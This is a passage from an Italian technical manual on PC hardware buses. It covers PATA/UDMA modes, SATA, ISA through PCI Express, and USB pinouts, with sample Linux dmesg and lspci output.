Di solito, la gestione del protocollo PIO può essere controllata dal firmware (il BIOS), con cui si può imporre una modalità particolare, oppure si può escludere del tutto, in favore di altri protocolli. Tuttavia, questo tipo di intervento si può richiedere solo se si incontrano dei problemi, in cui i componenti installati non sono in grado di determinare automaticamente il metodo migliore di funzionamento. Il programma di accesso alla configurazione del firmware potrebbe presentare le voci seguenti, dove in questo caso si lascia una gestione automatica del protocollo:

```
Primary Master   PIO: Auto
Primary Slave    PIO: Auto
Secondary Master PIO: Auto
Secondary Slave  PIO: Auto
```

- Il protocollo DMA utilizza in pratica un accesso diretto alla memoria (*Direct memory access*). Inizialmente, il trasferimento dei dati avveniva a pacchetti di 16 bit (*word*), ovvero quanto l'ampiezza del canale PATA. Successivamente si è introdotta la possibilità di trasmettere sequenze più lunghe. Nel primo caso si parla di *single word*, mentre nel secondo si fa riferimento al termine *multi word*. Queste due varianti del protocollo DMA hanno livelli di identificazione distinti, come se fossero due protocolli diversi; tuttavia, attualmente il trasferimento a blocchi singoli di 16 bit non si usa più, per cui il protocollo DMA è inteso implicitamente essere di tipo *multi word*.

  Tabella 9.30. Modalità DMA.

Modalità *single word*	Modalità *multi word*	Velocità massima in Mbyte/s (10^6 byte/s)
0		2,1
1		4,2
2		8,3
	0	4,2
	1	13,3
	2	16,7

  La comunicazione diretta con la memoria può avvenire attraverso un sistema di controllo integrato nella scheda madre, oppure direttamente attraverso l'unità di controllo PATA. In pratica, il secondo caso richiede che il bus in cui si inserisce a sua volta l'unità di controllo PATA consenta la tecnica conosciuta come *bus mastering*, attraverso cui un componente del bus può prendere il controllo.

  Il primo tipo di sistema, in cui si passa per l'intermediazione della scheda madre, viene indicato come *third party DMA*, mentre l'accesso diretto al DMA si indica come *first party DMA*. L'utilizzo dell'accesso DMA senza intermediazioni consente di gestire velocità più elevate e diventa necessario per mettere in pratica gli ultimi livelli di questo protocollo.

- Il protocollo Ultra DMA, o solo UDMA, è un'evoluzione del DMA, in cui vengono usate delle tecniche diverse per aumentare la frequenza di trasmissione effettiva dei dati, introducendo anche un sistema di controllo CRC per la verifica che questi siano stati ricevuti correttamente, in modo da poter regolare la velocità effettiva in base alle caratteristiche reali del mezzo.

Tabella 9.31. Modalità UDMA.

Modalità UDMA	Velocità massima in Mbyte/s (10^6 byte/s)
0	16,7
1	25,0
2	33,3
3	44,4
4	66,7
5	100,0
6	133,3

Le tecniche di trasmissione introdotte dal protocollo UDMA richiedono l'uso di una piattina speciale, a 80 fili, quando si supera la velocità di 33,3 Mbyte/s. Come già accennato, ognuno dei fili corrispondenti ai 40 poli viene alternato da un filo di massa che serve a ridurre le interferenze; inoltre, questo tipo di cavo implica la selezione del tipo *cable select* nei componenti che si installano. Pertanto, i vari connettori sono colorati in modo differente per evitare confusione.

Anche se non dovrebbe essere necessario, è probabile che il firmware consenta di stabilire espressamente la modalità UDMA che deve essere utilizzata. Nell'esempio seguente si vede la richiesta di lasciare che il protocollo venga definito in modo automatico, in base a quanto riportato dai componenti e dalla verifica delle comunicazioni:

```
Primary Master   UDMA: Auto
Primary Slave    UDMA: Auto
Secondary Master UDMA: Auto
Secondary Slave  UDMA: Auto
```

Alcune unità di controllo, in base ai protocolli PATA, consentono di inviare dei blocchi di dati più consistenti attraverso il bus, per ogni singolo ciclo di interruzione, secondo una tecnica definita *block mode*. In generale questo fatto non crea complicazioni; tuttavia viene riportato solo per chiarire il senso di ciò quando una voce del genere appare nella configurazione del firmware:

```
IDE HDD Block Mode:  Enabled
```

Di solito sono disponibili due bus PATA, ovvero due canali per ogni unità di controllo, specialmente se questa è integrata nella scheda madre. Ogni canale, o bus, utilizza delle risorse, in particolare un livello IRQ; pertanto, se uno dei due canali non viene utilizzato, conviene disabilitarne il funzionamento attraverso il firmware:

```
OnChip IDE Channel0: Enabled
OnChip IDE Channel1: Disabled
```

Tabella 9.35. Risorse utilizzate da un'unità di controllo PATA comune. Si tenga presente che un'unità di controllo collegata a sua volta su un bus PCI, utilizza anche altre aree di indirizzi di I/O.

Canale	IRQ	I/O
0	14	da $01F0_{16}$ a $01F7_{16}$ e da $03F6_{16}$ a $03F6_{16}$
1	15	da 0170_{16} a 0177_{16} e da 0376_{16} a 0376_{16}

9.3.4 Standard PATA e gergo comune

Lo standard ufficiale per quanto riguarda il bus PATA è definito da ANSI e la tabella 9.36 ne riassume le caratteristiche salienti.

Tabella 9.36. Standard PATA secondo ANSI.

Sigla	Denominazione	PIO	DMA *single word*	DMA *multi word*	UDMA
ATA-1	AT Attachment Interface for Disk Drives	0, 1, 2	0, 1, 2	0	--
ATA-2	AT Attachment Interface with Extentions	0, 1, 2, 3, 4	0, 1, 2	0, 1, 2	--
ATA-3	AT Attachment 3 Interface	0, 1, 2, 3, 4	--	0, 1, 2	--
ATA/ATAPI-4	AT Attachment with Packet Interface Extentions	0, 1, 2, 3, 4	--	0, 1, 2	0, 1, 2
ATA/ATAPI-5	AT Attachment with Packet Interface - 5	0, 1, 2, 3, 4	--	0, 1, 2	0, 1, 2, 3, 4
ATA/ATAPI-6	AT Attachment with Packet Interface - 6	0, 1, 2, 3, 4	--	0, 1, 2	0, 1, 2, 3, 4, 5
ATA/ATAPI-7	AT Attachment with Packet Interface - 7	0, 1, 2, 3, 4	--	0, 1, 2	0, 1, 2, 3, 4, 5, 6

Purtroppo si sono diffuse una grande quantità di definizioni non standard, il cui significato diventa a volte ambiguo. Per essere certi delle possibilità di un bus PATA o di un componente PATA, occorre verificare le caratteristiche che compongono lo standard, ovvero le modalità dei protocolli. Il problema legato alla terminologia dipende molto dal fatto che i prodotti che si trovano in commercio sono spesso più avanzati degli standard già definiti, anche se è molto probabile che vengano poi incorporati negli standard ufficiali successivi. Pertanto, questo favorisce la diffusione di appellativi provvisori e altisonanti. Quello che segue è un elenco molto approssimativo dei nomi attribuiti nel gergo a vari aspetti dello standard PATA.

- IDE, EIDE

  La sigla IDE sta per *Integrated drive electronics*, ovvero quel tipo di disco che integra l'elettronica di controllo. Pur non essendo codificata negli standard, questa sigla viene usata comunemente, al posto di PATA.

  La sigla EIDE è stata coniata da un'azienda particolare, con il significato di *Enhanced IDE*, a sottolineare l'utilizzo di tecniche nuove, non ancora codificate fino a quel momento, ma senza fare riferimento a un'epoca o a delle caratteristiche particolari, rendendo così la sigla altrettanto vaga quanto IDE.

- Fast ATA

  La definizione Fast ATA è stata usata in vari contesti per identificare qualcosa di più veloce del normale, ma senza un legame particolare con lo standard ufficiale. In particolare, quando si legge qualcosa come «Fast ATA-***n***», il numero non corrisponde a quello usato dallo standard ANSI. Per esempio, Fast ATA-4 potrebbe voler solo dire che offre il protocollo UDMA 4, mentre lo standard ufficiale corrispondente è ATA/ATAPI-5.

- Ultra ATA, Ultra ATA/33, ATA/33, Ultra ATA/66, ATA/66,...

  Questo genere di definizioni sono solitamente ottenute sommando assieme porzioni delle caratteristiche dei protocolli gestibili. Il termine «ultra» si riferisce normalmente al

protocollo UDMA, mentre il numero indica presumibilmente la velocità di trasferimento dei dati. Pertanto, «Ultra ATA/33» o solo «ATA/33» si riferisce presumibilmente a un protocollo UDMA che consente un trasferimento a 33,3 Mbyte/s.

9.3.5 Gestione da parte di un kernel Linux delle unità PATA

Nei sistemi GNU/Linux i file di dispositivo usati per accedere alle unità ATA hanno un nome che rispetta il modello:

```
/dev/hdx [n]
```

In pratica, ***x*** può essere una lettera minuscola, da '**a**' a '**t**', che rappresenta un disco PATA completo; per esempio, '/dev/hdd' indica il disco *slave* del secondo canale PATA disponibile. Se al nome segue un numero, questo indica l'***n***-esima partizione, a partire da uno. Pertanto, '/dev/hdd1' è la prima partizione della quarta unità PATA.

La gestione dei componenti PATA da parte del kernel Linux viene definita nella sezione *ATA/IDE/MFM/RLL support* (8.3.11). La gestione accurata delle opzioni di configurazione di quella sezione consente di ottenere le prestazioni massime disponibili dal bus PATA di cui si dispone.

9.3.6 Informazioni da un kernel Linux

Le informazioni che si possono ottenere da un kernel Linux consentono di verificare la configurazione effettiva del firmware e il riconoscimento dell'unità di controllo PATA esistente. La prima verifica va fatta sui messaggi iniziali di avvio del kernel, i quali si possono rileggere con il comando '**dmesg**':

$ **dmesg | less** [*Invio*]

Nella prima parte si può osservare la gestione generale del bus PATA:

```
Uniform Multi-Platform E-IDE driver Revision: 6.31
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
```

Nella seconda parte si può osservare l'identificazione delle particolarità dell'unità di controllo PATA, ammesso che sia in grado di farlo:

```
VP_IDE: IDE controller on PCI bus 00 dev 39
VP_IDE: chipset revision 16
VP_IDE: not 100% native mode: will probe irqs later
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
VP_IDE: VIA vt82c596b (rev 23) IDE UDMA66 controller on pci00:07.1
    ide0: BM-DMA at 0xd000-0xd007, BIOS settings: hda:DMA, hdb:DMA
    ide1: BM-DMA at 0xd008-0xd00f, BIOS settings: hdc:pio, hdd:pio
```

Quindi si mostrano le caratteristiche dei componenti installati, che in questo caso sono due dischi fissi:

```
hda: IBM-DTLA-307030, ATA DISK drive
hdb: QUANTUM FIREBALLlct10 20, ATA DISK drive
ide0 at 0x1f0-0x1f7,0x3f6 on irq 14
hda: 60036480 sectors (30739 MB) w/1916KiB Cache, CHS=3737/255/63, UDMA(66)
hdb: 39876480 sectors (20417 MB) w/418KiB Cache, CHS=2482/255/63, (U)DMA
```

Infine si vedono anche le partizioni di questi:

```
Partition check:
 hda: hda1 hda2 hda4 < hda5 hda6 hda7 >
 hdb: hdb1 hdb2
```

Se l'unità di controllo PATA è collegata a sua volta su un bus PCI, cosa che ormai rappresenta la situazione normale, se ne possono trovare le tracce nella directory virtuale '`/proc/`', attraverso '**`lspci`**' (l'esempio si riferisce a un elaboratore differente, ma sulle stesse coordinate PCI):

$ **`lspci -v | less`** [*Invio*]

```
00:07.1 IDE interface: VIA Technologies, Inc. ↩
↪VT82C586A/B/VT82C686/A/B/VT8233/A/C/VT8235 PIPC Bus Master IDE (rev 06) ↩
↪(prog-if 8a [Master SecP PriP])
        Flags: bus master, stepping, medium devsel, latency 32
        I/O ports at fff0 [size=16]
```

9.4 SATA: Serial ATA

Terminato lo sviluppo del bus ATA tradizionale, si introduce un bus diverso meccanicamente, ma che conserva qualche compatibilità a livello di software, denominato SATA, ovvero *Serial ATA*. Da un punto di vista fisico, questo nuovo bus si presenta con un collegamento differente, attraverso un cavo che non è più realizzato in forma di piattina.

Figura 9.42. Un cavo SATA, con il dettaglio di un connettore.

9.4.1 Adattatori

Durante la fase di transizione dal bus ATA tradizionale (ovvero PATA) a quello SATA, sono stati disponibili dei piccoli convertitori in grado di adattare dischi fissi SATA su bus PATA e dischi PATA su bus SATA. Si tratta però di rimedi di emergenza, il cui utilizzo è decisamente sconsigliabile.

Figura 9.43. Adattatore da bus PATA a disco SATA. Si può osservare che l'adattatore richiede un'alimentazione supplementare, con un cavetto di quelli usati per le unità a dischetti tradizionali. Questa immagine è stata tratta da ⟨*http://www.extrememhz.com/idetosata-p1.shtml* ⟩.

Figura 9.44. Adattatore da bus PATA a disco SATA. A differenza della figura precedente, questo si applica al disco fisso SATA.

Figura 9.45. Adattatore da bus SATA a disco PATA. Questo adattatore di applica al disco PATA.

9.4.2 Gestione da parte del kernel Linux

Il kernel Linux tratta le unità SATA come se fossero unità SCSI, pertanto i file di dispositivo a cui si fa riferimento sono '`/dev/sd`*x*', dove *x* è una lettera alfabetica minuscola.

9.4.3 Informazioni da un kernel Linux

Le informazioni che si possono ottenere da un kernel Linux consentono di verificare la configurazione effettiva del firmware e il riconoscimento dell'unità di controllo SATA esistente. La prima verifica va fatta sui messaggi iniziali di avvio del kernel che si possono rileggere con il comando '**`dmesg`**':

$ **`dmesg | less`** [*Invio*]

Nella prima parte si può osservare la gestione generale del bus SATA e l'identificazione delle particolarità dell'unità di controllo SATA:

```
libata version 1.20 loaded.
sata_via 0000:00:0f.0: version 1.1
sata_via 0000:00:0f.0: routed to hard irq line 0
ata1: SATA max UDMA/133 cmd 0xEFF0 ctl 0xEFE6 bmdma 0xEF90 irq 16
ata2: SATA max UDMA/133 cmd 0xEFA8 ctl 0xEFE2 bmdma 0xEF98 irq 16
ata1: dev 0 cfg 49:2f00 82:7c6b 83:7f09 84:4673 85:7c69 86:3e21 87:4663 88:407f
ata1: dev 0 ATA-7, max UDMA/133, 398297088 sectors: LBA48
ata1: dev 0 configured for UDMA/133
ata2: dev 0 cfg 49:2f00 82:7c6b 83:7f09 84:4673 85:7c69 86:3e21 87:4663 88:407f
ata2: dev 0 ATA-7, max UDMA/133, 398297088 sectors: LBA48
ata2: dev 0 configured for UDMA/133
```

Nella seconda parte si può osservare l'associazione dei dischi a unità SCSI:

```
scsi0 : sata_via
scsi1 : sata_via
  Vendor: ATA       Model: Maxtor 6L200S0    Rev: BACE
  Type:   Direct-Access                      ANSI SCSI revision: 05
  Vendor: ATA       Model: Maxtor 6L200S0    Rev: BACE
  Type:   Direct-Access                      ANSI SCSI revision: 05
SCSI device sda: 398297088 512-byte hdwr sectors (203928 MB)
SCSI device sda: drive cache: write back
SCSI device sda: 398297088 512-byte hdwr sectors (203928 MB)
SCSI device sda: drive cache: write back
 sda: sda1 sda2 sda4
sd 0:0:0:0: Attached scsi disk sda
SCSI device sdb: 398297088 512-byte hdwr sectors (203928 MB)
SCSI device sdb: drive cache: write back
SCSI device sdb: 398297088 512-byte hdwr sectors (203928 MB)
SCSI device sdb: drive cache: write back
 sdb: sdb1 sdb2 sdb4
sd 1:0:0:0: Attached scsi disk sdb
sd 0:0:0:0: Attached scsi generic sg0 type 0
sd 1:0:0:0: Attached scsi generic sg1 type 0
```

Se l'unità di controllo SATA è collegata a sua volta su un bus PCI, se ne possono trovare le tracce nella directory virtuale '`/proc/`', attraverso '**`lspci`**' (l'esempio si riferisce a un elaboratore differente, ma sulle stesse coordinate PCI):

$ **`lspci -v | less`** [*Invio*]

```
0000:00:0f.0 RAID bus controller: VIA Technologies, Inc. ↩
↪VIA VT6420 SATA RAID Controller (rev 80)
        Subsystem: ASUSTeK Computer Inc. A7V600/K8V Deluxe/K8V-X motherboard
        Flags: bus master, medium devsel, latency 64, IRQ 16
        I/O ports at eff0 [size=8]
        I/O ports at efe4 [size=4]
        I/O ports at efa8 [size=8]
        I/O ports at efe0 [size=4]
        I/O ports at ef90 [size=16]
        I/O ports at e800 [size=256]
        Capabilities: [c0] Power Management version 2
```

9.4.4 Sistemi RAID SATA

Generalmente, le unità di controllo SATA sono in grado di gestire alcuni livelli RAID con l'unione di più dischi SATA, in modo indipendente dal sistema operativo. Tuttavia, con i sistemi GNU/Linux risulta più conveniente una gestione RAID software, che può essere controllata completamente durante il funzionamento del sistema operativo. Si veda eventualmente la sezione 21.10 al riguardo.

9.5 Da ISA a PCI

Da quando esistono gli elaboratori personali, il bus «locale», ovvero quello incorporato nella scheda madre, ha subito una continua evoluzione. In questo capitolo si riassumono le caratteristiche dei bus locali più importanti nell'architettura x86, anche se in molti casi può trattarsi di componenti superati.

9.5.1 ISA

La sigla ISA sta per *Industry standard architecture* e rappresenta il primo tipo di bus negli elaboratori personali x86-16. Inizialmente si è trattato di un bus a 8 bit, che successivamente è stato esteso a 16 bit.

Figura 9.49. Due alloggiamenti ISA a 16 bit. La prima parte dell'alloggiamento, a sinistra, equivale alla vecchia versione a 8 bit.

Il connettore di un alloggiamento a 16 bit è praticamente un prolungamento di quello a 8 bit, come si può vedere nella figura 9.49, in cui si possono ancora inserire le schede più vecchie. Tuttavia, nei primi 8 bit di un bus ISA si può accedere solo ai livelli di IRQ inferiori a nove.

Una limitazione importante del bus ISA, a parte la velocità di trasferimento dei dati molto ridotta, è l'impossibilità di condividere uno stesso livello di IRQ tra diverse schede.

Figura 9.50. L'esempio tipico di una scheda ISA a 8 bit, che non richiede alte prestazioni e nemmeno di accedere a livelli IRQ superiori al numero otto.

Le figure 9.50 e 9.51 mostrano l'esempio di due schede da inserire in alloggiamenti ISA, rispettivamente a 8 bit e 16 bit. Nel primo caso, che rappresenta l'insieme di due interfacce seriali e una parallela, sono visibili i ponticelli che consentono di configurare i livelli di IRQ utilizzati e gli indirizzi di I/O relativi. Nel secondo caso, che riguarda una scheda di rete su cavo coassiale, questi ponticelli mancano, perché sostituiti da una configurazione effettuata attraverso del software speciale, realizzato appositamente per quella scheda.

Figura 9.51. Una scheda di rete che utilizza un alloggiamento ISA a 16 bit.

9.5.2 MCA

La sigla MCA sta per *Micro channel architecture* e rappresenta un bus a 32 bit introdotto da IBM nel 1987 nei primi elaboratori con microprocessori x86 a 32 bit.

Il bus MCA è in grado di gestire anche il *bus mastering*, con cui un componente del bus può prendere il controllo. Un'altra caratteristica innovativa per l'epoca è la capacità di configurare automaticamente l'utilizzo delle risorse, senza bisogno di interventi, come invece richiede il bus ISA.

Il bus MCA non è stato accettato bene dal mercato, perché incompatibile con ISA.

9.5.3 EISA

La sigla EISA sta per *Extended industry standard architecture* e rappresenta un bus a 32 bit introdotto da Compaq a seguito della comparsa del bus MCA.

La caratteristica più importante di questo bus è la compatibilità con le schede ISA, che possono essere inserite nei suoi alloggiamenti, funzionando regolarmente, consentendo alle schede EISA di comunicare a 32 bit e di gestire il *bus mastering*.

Lo standard EISA, nonostante la compatibilità ISA è stato superato con l'introduzione del bus VESA.

9.5.4 VESA local bus

VESA sta per *Video electronics standards association* e rappresenta un'associazione con lo scopo di definire degli standard sulla gestione del video negli elaboratori con architettura i486. Lo standard VESA ha dato vita nel 1992 al bus VLB, ovvero *VESA local bus*, a 32 bit, su un alloggiamento compatibile con le schede ISA comuni, dove si aggiunge un'estensione per i collegamenti mancanti.

A differenza di altri bus a 32 bit, in questo caso non si possono avere molti alloggiamenti (di solito un massimo di due); inoltre, il *bus mastering* non è efficace e non è disponibile un sistema di configurazione automatica delle risorse utilizzate. Infine, il bus dipende strettamente dalle caratteristiche dei microprocessori i486.

9.5.5 PCI

PCI sta per *Peripheral component interconnect* e rappresenta un bus, inizialmente a 32 bit, in grado di gestire *bus mastering* e la configurazione automatica delle risorse, con la caratteristica di non dipendere strettamente dal microprocessore. In particolare, è ammissibile la condivisione dei livelli di IRQ per più componenti simultaneamente.

Il bus PCI è stato introdotto nel 1993 a sostegno delle nuove generazioni di microprocessori i586, ma è stato usato anche in altre architetture, con un'estensione a 64 bit.

Con il bus PCI, si abbandona progressivamente il vecchio bus ISA.

Figura 9.52. Un alloggiamento PCI a 32 bit su una scheda madre comune.

Generalmente, le schede madri che mettono a disposizione un bus PCI e incorporano anche altre funzionalità, lo fanno attraverso lo stesso bus PCI. In pratica, si trovano bus ATA, bus USB e altro, già inseriti nel bus PCI.

Il bus PCI ha un proprio sistema di interruzione, dove i livelli relativi vengono identificati da sigle del tipo '**#A**', '**#B**', '**#C**' e '**#D**', oppure '**#1**', '**#2**', '**#3**' e '**#4**'. Di solito non è necessario essere consapevoli di questo, salvo il caso in cui tali indicazioni possano apparire nella configurazione del firmware.

Nell'ambito di un bus PCI, i componenti che vi si collegano possono essere individuati in base all'alloggiamento in cui si trovano, che può essere costituito da un supporto in cui inserire una scheda, oppure può essere qualcosa di integrato nella stessa scheda madre. Inoltre, ogni componente può distinguere al suo interno delle ***funzioni***. In pratica, alloggiamenti e funzioni hanno un numero di identificazione, con cui fare riferimento esattamente a un componente e a una funzione precisa.

9.5.6 Informazioni da un kernel Linux

Il kernel Linux consente di ottenere informazioni sul bus PCI attraverso la directory virtuale '`/proc/`', con l'aiuto del programma '**`lspci`**'.[1] In particolare, si può osservare che le coordinate di questi partono dall'indicazione del bus, che solitamente è uno solo, per cui corrisponde all'indirizzo zero. Nell'estratto di esempio vengono mostrati solo alcuni componenti relativi a quanto già integrato in una scheda madre comune:

$ **lspci -v** [*Invio*]

```
00:00.0 Host bridge: VIA Technologies, Inc. VT82C693A/694x ↩
↪[Apollo PRO133x] (rev c4)
        Flags: bus master, medium devsel, latency 8
        Memory at ec000000 (32-bit, prefetchable) [size=64M]
        Capabilities: <available only to root>

00:01.0 PCI bridge: VIA Technologies, Inc. VT82C598/694x ↩
↪[Apollo MVP3/Pro133x AGP] (prog-if 00 [Normal decode])
        Flags: bus master, 66Mhz, medium devsel, latency 0
        Bus: primary=00, secondary=01, subordinate=01, sec-latency=0
        Memory behind bridge: feb00000-febfffff
        Prefetchable memory behind bridge: f0000000-fe9fffff
        Capabilities: <available only to root>

00:02.0 ISA bridge: VIA Technologies, Inc. VT82C596 ISA ↩
↪[Mobile South] (rev 12)
```

```
        Flags: bus master, stepping, medium devsel, latency 0

00:02.1 IDE interface: VIA Technologies, Inc. ⮐
↪VT82C586A/B/VT82C686/A/B/VT8233/A/C/VT8235 PIPC Bus Master IDE ⮐
↪(rev 06) (prog-if 8a [Master SecP PriP])
        Flags: bus master, stepping, medium devsel, latency 32
        I/O ports at fff0 [size=16]

00:02.2 USB Controller: VIA Technologies, Inc. USB (rev 08) (prog-if 00 [UHCI])
        Subsystem: VIA Technologies, Inc. (Wrong ID) USB Controller
        Flags: bus master, medium devsel, latency 22, IRQ 10
        I/O ports at fce0 [size=32]

00:02.3 Host bridge: VIA Technologies, Inc. VT82C596 Power Management (rev 20)
        Flags: medium devsel

00:0f.0 Ethernet controller: 3Com Corporation 3c905C-TX/TX-M [Tornado] (rev 74)
        Subsystem: 3Com Corporation 3C905C-TX Fast Etherlink for ⮐
↪PC Management NIC
        Flags: bus master, medium devsel, latency 80, IRQ 9
        I/O ports at 7480 [size=128]
        Memory at feafff80 (32-bit, non-prefetchable) [size=128]
        Expansion ROM at <unassigned> [disabled] [size=128K]
        Capabilities: <available only to root>

00:12.0 Multimedia audio controller: ESS Technology ES1988 Allegro-1 (rev 10)
        Subsystem: IBM: Unknown device 017b
        Flags: bus master, medium devsel, latency 16, IRQ 5
        I/O ports at 7800 [size=256]
        Capabilities: <available only to root>

01:00.0 VGA compatible controller: S3 Inc. Savage 4 (rev 04) (prog-if 00 [VGA])
        Subsystem: Diamond Multimedia Systems: Unknown device 4906
        Flags: bus master, 66Mhz, medium devsel, latency 248, IRQ 11
        Memory at feb80000 (32-bit, non-prefetchable) [size=512K]
        Memory at f0000000 (32-bit, prefetchable) [size=128M]
        Expansion ROM at <unassigned> [disabled] [size=64K]
        Capabilities: <available only to root>
```

A fianco di '**lspci**', si colloca '**setpci**', dello stesso pacchetto di programmi di servizio. Con questo si può accedere alla configurazione dettagliata delle caratteristiche dei componenti PCI, cosa che di solito non serve fare. Si vedano eventualmente le pagine di manuale *lspci(8)* e *setpci(8)*.

9.5.7 AGP

AGP, ovvero *Accellerated graphics port*, non è un bus vero e proprio, ma soltanto una «porta», rappresentata da un solo alloggiamento speciale nelle schede madri, per l'utilizzo di adattatori video particolarmente potenti, che richiedono un accesso privilegiato alle risorse del sistema.

Figura 9.54. Un alloggiamento AGP X1.

Lo sviluppo di AGP ha portato a distinguere dei livelli con prestazioni differenti; AGP 1X, 2X, 4X, 8X e PRO, dove la sigla ***n***X serve a rappresentare le prestazioni in termini di velocità. Dal momento che le caratteristiche delle schede video cambiano da una versione all'altra, l'alloggiamento AGP subisce delle piccole modifiche in modo da ridurre la possibilità di inserire una scheda non compatibile. Rispetto alla figura 9.54 ci può essere uno spostamento della «chiave» di inserzione, come la sua mancanza nel caso di un alloggiamento «universale»; infine, nel caso di AGP PRO, si ha un alloggiamento con un'estensione maggiore.

Figura 9.55. Un alloggiamento AGP «universale», che dovrebbe poter accogliere tutte le schede, escluse quelle «PRO». Come si può vedere manca di proposito la chiave di inserimento.

Figura 9.56. Un alloggiamento AGP PRO.

Figura 9.57. Un tipo di scheda AGP comune.

Figura 9.58. Un tipo di scheda AGP PRO; lo si distingue per la presenza del piedino finale, dopo la fila dei contatti standard.

9.5.8 AMR

AMR, ovvero *Audio modem riser*, non è un bus, ma soltanto un alloggiamento, normalmente singolo, da usare per funzionalità audio o come modem.

Lo standard AMR si associa a AC97 (*Audio codec 97*) e generalmente questo tipo di alloggiamento è già scomparso dalle schede madri che normalmente tendono a integrare tutte le funzionalità al proprio interno, senza bisogno di schede da alloggiare in un connettore AMR.

Figura 9.59. Un modem per alloggiamento AMR.

La figura mostra un modem AMR e come si può vedere non ci sono componenti importanti, salvo degli integrati microscopici, pertanto si intende che l'elaborazione elettronica più importante avviene già nella scheda madre (o meglio nella CPU).

Figura 9.60. Un alloggiamento AMR.

9.5.9 PCI Express

Il successore del bus PCI potrebbe essere PCI Express, che introduce una comunicazione seriale e un insieme di alloggiamenti differenti, in base al numero di «corsie» (*lane*) previste.

In pratica, l'alloggiamento di un bus PCI Express può essere relativamente corto, quasi come quello di un alloggiamento AMR, per il livello «x1», allungandosi per i livelli successivi, fino al massimo di «x16». Naturalmente, i vari livelli corrispondono a prestazioni maggiori, proporzionalmente, come suggerisce la sigla stessa.

Teoricamente, pur cambiando completamente la sua forma e il modo di comunicare, i componenti PCI Express dovrebbero mantenere almeno una compatibilità a livello di software.

Inizialmente, il bus PCI Express si introduce nelle schede madri per consentire l'uso di schede video grafiche con prestazioni eccezionali, pertanto, proprio per questa ragione, si tratta solitamente di un solo alloggiamento x16.

9.6 USB

La sigla USB sta per *Universal serial bus* e rappresenta un tipo di bus in cui i vari componenti si possono collegare in una struttura che ricorda quella dell'albero. In questo tipo di bus, le comunicazioni sono controllate da un protocollo che non consente alle unità periferiche di comunicare direttamente tra di loro.

9.6.1 Caratteristiche generali

Il bus USB è fatto per connettere unità periferiche esterne a un elaboratore, al contrario di SCSI, che prevede la possibilità di un collegamento interno e di uno esterno. Il bus USB ha un collegamento speciale, attraverso connettori di tipo differente, a seconda che si tratti del lato rivolto verso l'unità periferica (il tipo «B»), oppure verso l'unità di controllo (il tipo «A»). La continuazione del bus avviene attraverso dei concentratori (*hub*), che da un lato si collegano come unità periferiche e dall'altro offrono più connettori uguali a quelli dell'unità di controllo. In particolare, l'unità di controllo viene definita anche *root hub*, come dire che si tratta del primo concentratore della struttura.

Figura 9.61. Porta USB di tipo «B» di un'unità periferica.

Figura 9.62. Un cavo USB, dove si possono notare i due connettori, «A» e «B», che hanno forme diverse.

Figura 9.63. Connettori USB: quello in alto va collegato all'unità di controllo (tipo «A»), oppure al concentratore, mentre quello in basso va collegato all'unità periferica (tipo «B»).

Il bus USB consente di collegare un massimo di 127 dispositivi, oltre all'unità di controllo. In questo numero vanno contati anche i concentratori. A differenza del bus SCSI, qui i dispositivi non devono essere numerati manualmente, perché a questo provvede automaticamente il sistema.

Figura 9.64. Connettore USB «B», miniaturizzato, usato di solito per le macchine fotografiche.

9.6.2 Alimentazione elettrica

Una caratteristica molto importante del bus USB è la possibilità di alimentare i dispositivi che vi si collegano, attraverso il collegamento del bus stesso. La corrente elettrica che può essere fornita in questo modo arriva normalmente a un massimo di 500 mA.

Un dispositivo USB comune può essere alimentato anche in modo indipendente, se il suo consumo è elevato; tuttavia, il fatto che l'alimentazione esterna non sia sempre necessaria, consente di ridurre il cablaggio per la connessione di componenti esterni, soprattutto quando questi sono di piccole dimensioni.

9.6.3 Collegamento di una porta USB

In condizioni normali, non è necessario essere a conoscenza del modo in cui i quattro terminali di una porta USB devono essere collegati da un punto di vista elettrico. Tuttavia, alcune vecchie schede madri hanno un bus USB integrato a cui si accede attraverso una o due file di cinque o di quattro piedini ciascuna, senza che esista uno standard preciso per il collegamento di questi alla porta USB di tipo «A». Si osservi la figura 9.65 a questo proposito.

Figura 9.65. Piedini per collegare due porte USB di tipo «A» su una scheda madre molto vecchia, in cui non è chiaro come siano disposti i vari terminali.

Per prima cosa occorre comprendere un po' la logica delle connessioni USB, dal punto di vista fisico. La figura 9.66 schematizza una porta USB di tipo «A» su un pannello di un elaboratore.

Figura 9.66. Collegamento elettrico di una porta USB di tipo «A».

```
+ alimentazione
- dati
+ dati
1   2   3   4 - alimentazione (massa)
```

Si può osservare che i terminali utilizzati per l'alimentazione sono quelli più esterni; inoltre, i terminali interni per i dati, hanno una polarità invertita rispetto all'alimentazione. Con un po' di fortuna, anche i terminali che sporgono da una scheda madre dovrebbero rispettare questa logica, tenendo conto che, se esistono cinque terminali, uno va collegato alla massa esterna, in modo distinto dall'alimentazione negativa. Una disposizione tipica dei piedini di una scheda madre è questa:

1. alimentazione +5 V;
2. dati, terminale negativo;
3. dati, terminale positivo;
4. massa dell'alimentazione (0 V);
5. massa esterna.

Un'altra possibilità comune è la seguente:

1. alimentazione +5 V;
2. dati, terminale negativo;
3. non collegato (piedino assente);
4. dati, terminale positivo;
5. massa dell'alimentazione (0 V);

In queste condizioni, è necessario verificare almeno i terminali che sono adibiti al trasporto dell'alimentazione, attraverso uno strumento di misura. A elaboratore spento, si può verificare quali piedini risultano essere collegati direttamente alla massa; se sono due per ogni fila, quello più interno dovrebbe corrispondere alla massa di alimentazione (0 V), mentre quello più esterno dovrebbe essere collegato alla massa vera e propria. Il terminale esterno opposto di ogni fila, dovrebbe essere il positivo di alimentazione (+5 V), mentre i due terminali rimanenti dovrebbero essere quelli dei dati, con polarità alternate (vicino al positivo di alimentazione dovrebbe trovarsi il negativo dei dati; vicino al negativo di alimentazione, dovrebbe trovarsi il positivo dei dati). Se ci sono due file parallele di terminali, si può verificare che i piedini esterni riguardano l'alimentazione, perché risultano collegati assieme (i due terminali del positivo di alimentazione sono collegati tra loro, così come i due o i quattro terminali di massa). Accendendo l'elaboratore si può verificare che il terminale positivo dell'alimentazione ha una tensione di (+5 V).

9.6.4 Tipi di unità di controllo

Le unità di controllo USB sono fondamentalmente di tre tipi, in base alla loro compatibilità con lo standard OHCI (*Open host controller interface*), con lo standard UHCI (*Universal host controller interface*) o EHCI.

9.7 USB e il Kernel Linux

